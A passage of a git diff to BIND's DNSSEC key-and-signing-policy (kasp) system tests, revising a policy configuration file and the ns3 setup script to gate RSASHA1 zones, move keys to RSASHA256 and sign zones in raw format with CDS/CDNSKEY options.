+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
-dnssec-policy "unlimited" {
-	dnskey-ttl 1234;
-
-	keys {
-		csk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
-	};
-};
-
-dnssec-policy "manual-rollover" {
-	dnskey-ttl 3600;
-
-	keys {
-		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
-		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
-	};
-};
-
-dnssec-policy "multisigner-model2" {
-	dnskey-ttl 3600;
-
-	keys {
-		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
-		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
-	};
-};
+include "policies/kasp-fips.conf";
 
 dnssec-policy "rsasha1" {
 	dnskey-ttl 1234;
@@ -45,15 +23,6 @@ dnssec-policy "rsasha1" {
 	};
 };
 
-dnssec-policy "migrate-to-dnssec-policy" {
-	dnskey-ttl 1234;
-
-	keys {
-		ksk key-directory lifetime P6M algorithm 5;
-		zsk key-directory lifetime P6M algorithm 5;
-	};
-};
-
 dnssec-policy "rsasha1-nsec3" {
 	dnskey-ttl 1234;
 
@@ -63,70 +32,3 @@ dnssec-policy "rsasha1-nsec3" {
 		zsk key-directory lifetime P1Y  algorithm 7 2000;
 	};
 };
-
-dnssec-policy "rsasha256" {
-	dnskey-ttl 1234;
-
-	keys {
-		ksk key-directory lifetime P10Y algorithm 8;
-		zsk key-directory lifetime P5Y  algorithm 8;
-		zsk key-directory lifetime P1Y  algorithm 8 2000;
-	};
-};
-
-dnssec-policy "rsasha512" {
-	dnskey-ttl 1234;
-
-	keys {
-		ksk key-directory lifetime P10Y algorithm 10;
-		zsk key-directory lifetime P5Y  algorithm 10;
-		zsk key-directory lifetime P1Y  algorithm 10 2000;
-	};
-};
-
-dnssec-policy "ecdsa256" {
-	dnskey-ttl 1234;
-
-	keys {
-		ksk key-directory lifetime P10Y algorithm 13;
-		zsk key-directory lifetime P5Y  algorithm 13;
-		zsk key-directory lifetime P1Y  algorithm 13 256;
-	};
-};
-
-dnssec-policy "ecdsa384" {
-	dnskey-ttl 1234;
-
-	keys {
-		ksk key-directory lifetime P10Y algorithm 14;
-		zsk key-directory lifetime P5Y  algorithm 14;
-		zsk key-directory lifetime P1Y  algorithm 14 384;
-	};
-};
-
-dnssec-policy "checkds-ksk" {
-	dnskey-ttl 303;
-
-	keys {
-		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
-		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
-	};
-};
-
-dnssec-policy "checkds-doubleksk" {
-	dnskey-ttl 303;
-
-	keys {
-		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
-		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
-		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
-	};
-};
-
-dnssec-policy "checkds-csk" {
-	dnskey-ttl 303;
-
-	keys {
-		csk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
-	};
-};
diff --git a/bin/tests/system/kasp/ns3/setup.sh b/bin/tests/system/kasp/ns3/setup.sh
index b70fce7cdd..c198428c24 100644
--- a/bin/tests/system/kasp/ns3/setup.sh
+++ b/bin/tests/system/kasp/ns3/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -22,16 +24,6 @@ setup() {
 	echo "$zone" >> zones
 }
 
-private_type_record() {
-	_zone=$1
-	_algorithm=$2
-	_keyfile=$3
-
-	_id=$(keyfile_to_key_id "$_keyfile")
-
-	printf "%s. 0 IN TYPE65534 %s 5 %02x%04x0000\n" "$_zone" "\\#" "$_algorithm" "$_id"
-}
-
 # Set in the key state files the Predecessor/Successor fields.
 # Key $1 is the predecessor of key $2.
 key_successor() {
@@ -50,8 +42,8 @@ U="UNRETENTIVE"
 #
 # Set up zones that will be initially signed.
 #
-for zn in default rsasha1 dnssec-keygen some-keys legacy-keys pregenerated \
-	  rumoured rsasha1-nsec3 rsasha256 rsasha512 ecdsa256 ecdsa384 \
+for zn in default dnssec-keygen some-keys legacy-keys pregenerated \
+	  rumoured rsasha256 rsasha512 ecdsa256 ecdsa384 \
 	  dynamic dynamic-inline-signing inline-signing \
 	  checkds-ksk checkds-doubleksk checkds-csk inherit unlimited \
 	  manual-rollover multisigner-model2
@@ -60,6 +52,22 @@ do
 	cp template.db.in "$zonefile"
 done
 
+#
+# Set up RSASHA1 based zones
+#
+for zn in rsasha1 rsasha1-nsec3
+do
+	if (cd ..; $SHELL ../testcrypto.sh -q RSASHA1)
+	then
+		setup "${zn}.kasp"
+		cp template.db.in "$zonefile"
+	else
+		# don't add to zones.
+		echo_i "setting up zone: ${zn}.kasp"
+		cp template.db.in "${zn}.kasp.db"
+	fi
+done
+
 if [ -f ../ed25519-supported.file ]; then
 	setup "ed25519.kasp"
 	cp template.db.in "$zonefile"
@@ -72,47 +80,48 @@ if [ -f ../ed448-supported.file ]; then
 	cat ed448.conf >> named.conf
 fi
 
-# Set up zone that stays unsigned.
-zone="unsigned.kasp"
-echo_i "setting up zone: $zone"
-zonefile="${zone}.db"
-infile="${zone}.db.infile"
-cp template.db.in $infile
-cp template.db.in $zonefile
-
-# Set up zone that stays unsigned.
-zone="insecure.kasp"
-echo_i "setting up zone: $zone"
-zonefile="${zone}.db"
-infile="${zone}.db.infile"
-cp template.db.in $zonefile
+# Set up zones that stay unsigned.
+for zn in unsigned insecure max-zone-ttl
+do
+	zone="${zn}.kasp"
+	echo_i "setting up zone: $zone"
+	zonefile="${zone}.db"
+	infile="${zone}.db.infile"
+	cp template.db.in $infile
+	cp template.db.in $zonefile
+done
 
 # Some of these zones already have keys.
 zone="dnssec-keygen.kasp"
-$KEYGEN -k rsasha1 -l policies/kasp.conf $zone > keygen.out.$zone.1 2>&1
+echo_i "setting up zone: $zone"
+$KEYGEN -k rsasha256 -l policies/kasp.conf $zone > keygen.out.$zone.1 2>&1
 
 zone="some-keys.kasp"
-$KEYGEN -G -a RSASHA1 -b 2000 -L 1234 $zone > keygen.out.$zone.1 2>&1
-$KEYGEN -G -a RSASHA1 -f KSK  -L 1234 $zone > keygen.out.$zone.2 2>&1
+echo_i "setting up zone: $zone"
+$KEYGEN -G -a RSASHA256 -b 2048 -L 1234 $zone > keygen.out.$zone.1 2>&1
+$KEYGEN -G -a RSASHA256 -f KSK  -L 1234 $zone > keygen.out.$zone.2 2>&1
 
 zone="legacy-keys.kasp"
-ZSK=$($KEYGEN -a RSASHA1 -b 2048 -L 1234 $zone 2> keygen.out.$zone.1)
-KSK=$($KEYGEN -a RSASHA1 -f KSK  -L 1234 $zone 2> keygen.out.$zone.2)
+echo_i "setting up zone: $zone"
+ZSK=$($KEYGEN -a RSASHA256 -b 2048 -L 1234 $zone 2> keygen.out.$zone.1)
+KSK=$($KEYGEN -a RSASHA256 -f KSK  -L 1234 $zone 2> keygen.out.$zone.2)
 echo $ZSK > legacy-keys.kasp.zsk
 echo $KSK > legacy-keys.kasp.ksk
 # Predecessor keys:
 Tact="now-9mo"
 Tret="now-3mo"
-ZSK=$($KEYGEN -a RSASHA1 -b 2048 -L 1234 $zone 2> keygen.out.$zone.3)
-KSK=$($KEYGEN -a RSASHA1 -f KSK  -L 1234 $zone 2> keygen.out.$zone.4)
+ZSK=$($KEYGEN -a RSASHA256 -b 2048 -L 1234 $zone 2> keygen.out.$zone.3)
+KSK=$($KEYGEN -a RSASHA256 -f KSK  -L 1234 $zone 2> keygen.out.$zone.4)
 $SETTIME -P $Tact -A $Tact -I $Tret -D $Tret "$ZSK"  > settime.out.$zone.1 2>&1
 $SETTIME -P $Tact -A $Tact -I $Tret -D $Tret "$KSK"  > settime.out.$zone.2 2>&1
 
 zone="pregenerated.kasp"
-$KEYGEN -G -k rsasha1 -l policies/kasp.conf $zone > keygen.out.$zone.1 2>&1
-$KEYGEN -G -k rsasha1 -l policies/kasp.conf $zone > keygen.out.$zone.2 2>&1
+echo_i "setting up zone: $zone"
+$KEYGEN -G -k rsasha256 -l policies/kasp.conf $zone > keygen.out.$zone.1 2>&1
+$KEYGEN -G -k rsasha256 -l policies/kasp.conf $zone > keygen.out.$zone.2 2>&1
 
 zone="multisigner-model2.kasp"
+echo_i "setting up zone: $zone"
 # Import the ZSK sets of the other providers into their DNSKEY RRset.
 ZSK1=$($KEYGEN -K ../ -a $DEFAULT_ALGORITHM -L 3600 $zone 2> keygen.out.$zone.1)
 ZSK2=$($KEYGEN -K ../ -a $DEFAULT_ALGORITHM -L 3600 $zone 2> keygen.out.$zone.2)
@@ -125,12 +134,13 @@ cat "../${ZSK2}.key" | grep -v ";.*" > "${zone}.zsk2"
 rm -f "../${ZSK2}.*"
 
 zone="rumoured.kasp"
+echo_i "setting up zone: $zone"
 Tpub="now"
 Tact="now+1d"
 keytimes="-P ${Tpub} -A ${Tact}"
-KSK=$($KEYGEN  -a RSASHA1 -f KSK  -L 1234 $keytimes $zone 2> keygen.out.$zone.1)
-ZSK1=$($KEYGEN -a RSASHA1 -b 2000 -L 1234 $keytimes $zone 2> keygen.out.$zone.2)
-ZSK2=$($KEYGEN -a RSASHA1         -L 1234 $keytimes $zone 2> keygen.out.$zone.3)
+KSK=$($KEYGEN  -a RSASHA256 -f KSK  -L 1234 $keytimes $zone 2> keygen.out.$zone.1)
+ZSK1=$($KEYGEN -a RSASHA256 -b 3072 -L 1234 $keytimes $zone 2> keygen.out.$zone.2)
+ZSK2=$($KEYGEN -a RSASHA256         -L 1234 $keytimes $zone 2> keygen.out.$zone.3)
 $SETTIME -s -g $O -k $R $Tpub -r $R $Tpub -d $H $Tpub  "$KSK"  > settime.out.$zone.1 2>&1
 $SETTIME -s -g $O -k $R $Tpub -z $R $Tpub              "$ZSK1" > settime.out.$zone.2 2>&1
 $SETTIME -s -g $O -k $R $Tpub -z $R $Tpub              "$ZSK2" > settime.out.$zone.2 2>&1
@@ -151,7 +161,8 @@ $SETTIME -s -g $O -k $O $T -z $O $T          "$ZSK" > settime.out.$zone.2 2>&1
 cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -PS -x -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -PS -x -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # These signatures are set to expire long in the past, update immediately.
 setup expired-sigs.autosign
@@ -165,7 +176,8 @@ $SETTIME -s -g $O -k $O $T -z $O $T          "$ZSK" > settime.out.$zone.2 2>&1
 cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -PS -x -s now-2mo -e now-1mo -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -PS -x -s now-2mo -e now-1mo -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # These signatures are still good, and can be reused.
 setup fresh-sigs.autosign
@@ -179,7 +191,8 @@ $SETTIME -s -g $O -k $O $T -z $O $T          "$ZSK" > settime.out.$zone.2 2>&1
 cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # These signatures are still good, but not fresh enough, update immediately.
 setup unfresh-sigs.autosign
@@ -193,7 +206,8 @@ $SETTIME -s -g $O -k $O $T -z $O $T          "$ZSK" > settime.out.$zone.2 2>&1
 cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1w -e now+1w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1w -e now+1w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # These signatures are still good, but the private KSK is missing.
 setup ksk-missing.autosign
@@ -207,7 +221,8 @@ $SETTIME -s -g $O -k $O $T -z $O $T          "$ZSK" > settime.out.$zone.2 2>&1
 cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1w -e now+1w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1w -e now+1w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 echo "KSK: yes" >> "${KSK}".state
 echo "ZSK: no" >> "${KSK}".state
 echo "Lifetime: 63072000" >> "${KSK}".state # PT2Y
@@ -225,7 +240,8 @@ $SETTIME -s -g $O -k $O $T -z $O $T          "$ZSK" > settime.out.$zone.2 2>&1
 cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1w -e now+1w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1w -e now+1w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 echo "KSK: no" >> "${ZSK}".state
 echo "ZSK: yes" >> "${ZSK}".state
 echo "Lifetime: 31536000" >> "${ZSK}".state # PT1Y
@@ -243,7 +259,8 @@ $SETTIME -s -g $O -k $O $T -z $O $T          "$ZSK" > settime.out.$zone.2 2>&1
 cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -PS -x -s now-2w -e now-1mi -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -PS -x -s now-2w -e now-1mi -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 $SETTIME -s -g HIDDEN "$ZSK" > settime.out.$zone.3 2>&1
 
 #
@@ -276,7 +293,8 @@ CSK=$($KEYGEN -k enable-dnssec -l policies/autosign.conf $keytimes $zone 2> keyg
 $SETTIME -s -g $O -k $R $TpubN -r $R $TpubN -d $H $TpubN -z $R $TpubN "$CSK" > settime.out.$zone.1 2>&1
 cat template.db.in "${CSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 3:
 # The zone signatures have been published long enough to become OMNIPRESENT.
@@ -292,8 +310,8 @@ CSK=$($KEYGEN -k enable-dnssec -l policies/autosign.conf $keytimes $zone 2> keyg
 $SETTIME -s -g $O -k $O $TcotN -r $O $TcotN -d $H $TpubN -z $R $TpubN "$CSK" > settime.out.$zone.1 2>&1
 cat template.db.in "${CSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
-setup step3.enable-dnssec.autosign
+cp $infile $zonefile
+$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 4:
 # The DS has been submitted long enough ago to become OMNIPRESENT.
@@ -312,7 +330,8 @@ CSK=$($KEYGEN -k enable-dnssec -l policies/autosign.conf $keytimes $zone 2> keyg
 $SETTIME -s -g $O -P ds $TsbmN -k $O $TcotN -r $O $TcotN -d $R $TsbmN -z $O $TsbmN "$CSK" > settime.out.$zone.1 2>&1
 cat template.db.in "${CSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 setup step4.enable-dnssec.autosign
 
 #
@@ -333,7 +352,8 @@ $SETTIME -s -g $O -k $O $TactN -z $O $TactN              "$ZSK" > settime.out.$z
 cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 2:
 # It is time to pre-publish the successor ZSK.
@@ -372,7 +392,8 @@ $SETTIME -s -g $O -k $O $TactN -z $O $TactN              "$ZSK" > settime.out.$z
 cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 3:
 # After the publication interval has passed the DNSKEY of the successor ZSK
@@ -434,7 +455,8 @@ cat template.db.in "${KSK}.key" "${ZSK1}.key" "${ZSK2}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK"  >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK2" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 4:
 # After the retire interval has passed the predecessor DNSKEY can be
@@ -493,7 +515,8 @@ $SETTIME -s -g $O -k $O $TactN1 -z $R $TactN1             "$ZSK2" > settime.out.
 key_successor $ZSK1 $ZSK2
 # Sign zone.
 cat template.db.in "${KSK}.key" "${ZSK1}.key" "${ZSK2}.key" > "$infile"
-$SIGNER -PS -x -s now-2w -e now-1mi -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -PS -x -s now-2w -e now-1mi -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 5:
 # The predecessor DNSKEY is removed long enough that is has become HIDDEN.
@@ -531,7 +554,8 @@ cat template.db.in "${KSK}.key" "${ZSK1}.key" "${ZSK2}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK"  >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK2" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 6:
 # The predecessor DNSKEY can be purged.
@@ -569,7 +593,8 @@ cat template.db.in "${KSK}.key" "${ZSK1}.key" "${ZSK2}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK"  >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK2" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 #
 # The zones at ksk-doubleksk.autosign represent the various steps of a KSK
@@ -587,7 +612,8 @@ ZSK=$($KEYGEN -a $DEFAULT_ALGORITHM -L 7200        $zsktimes $zone 2> keygen.out
 $SETTIME -s -g $O -k $O $TactN -r $O $TactN -d $O $TactN "$KSK" > settime.out.$zone.1 2>&1
 $SETTIME -s -g $O              -k $O $TactN -z $O $TactN "$ZSK" > settime.out.$zone.2 2>&1
 cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -G "cds:sha-256" -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 2:
 # It is time to submit the introduce the new KSK.
@@ -638,7 +664,8 @@ $SETTIME -s -g $O -k $O $TactN -z $O $TactN              "$ZSK" > settime.out.$z
 cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -G "cds:sha-256" -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 3:
 # It is time to submit the DS.
@@ -704,7 +731,8 @@ cat template.db.in "${KSK1}.key" "${KSK2}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK2" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -G "cds:sha-256" -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 4:
 # The DS should be swapped now.
@@ -764,7 +792,8 @@ cat template.db.in "${KSK1}.key" "${KSK2}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK2" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -G "cds:sha-256" -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 5:
 # The predecessor DNSKEY is removed long enough that is has become HIDDEN.
@@ -802,7 +831,8 @@ cat template.db.in "${KSK1}.key" "${KSK2}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK2" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -G "cds:sha-256" -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 6:
 # The predecessor DNSKEY can be purged.
@@ -840,7 +870,8 @@ cat template.db.in "${KSK1}.key" "${KSK2}.key" "${ZSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK2" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -G "cds:sha-256" -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 #
 # The zones at csk-roll.autosign represent the various steps of a CSK rollover
@@ -856,7 +887,8 @@ CSK=$($KEYGEN -k csk-roll -l policies/autosign.conf $csktimes $zone 2> keygen.ou
 $SETTIME -s -g $O -k $O $TactN -r $O $TactN -d $O $TactN -z $O $TactN "$CSK" > settime.out.$zone.1 2>&1
 cat template.db.in "${CSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-384"  -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 2:
 # It is time to introduce the new CSK.
@@ -883,7 +915,8 @@ CSK=$($KEYGEN -k csk-roll -l policies/autosign.conf $csktimes $zone 2> keygen.ou
 $SETTIME -s -g $O -k $O $TactN -r $O $TactN -d $O $TactN -z $O $TactN "$CSK" > settime.out.$zone.1 2>&1
 cat template.db.in "${CSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-384"  -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 3:
 # It is time to submit the DS and to roll signatures.
@@ -937,7 +970,8 @@ key_successor $CSK1 $CSK2
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-384" -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 4:
 # Some time later all the ZRRSIG records should be from the new CSK, and the
@@ -983,7 +1017,8 @@ key_successor $CSK1 $CSK2
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-384" -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 5:
 # After the DS is swapped in step 4, also the KRRSIG records can be removed.
@@ -1018,7 +1053,8 @@ key_successor $CSK1 $CSK2
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
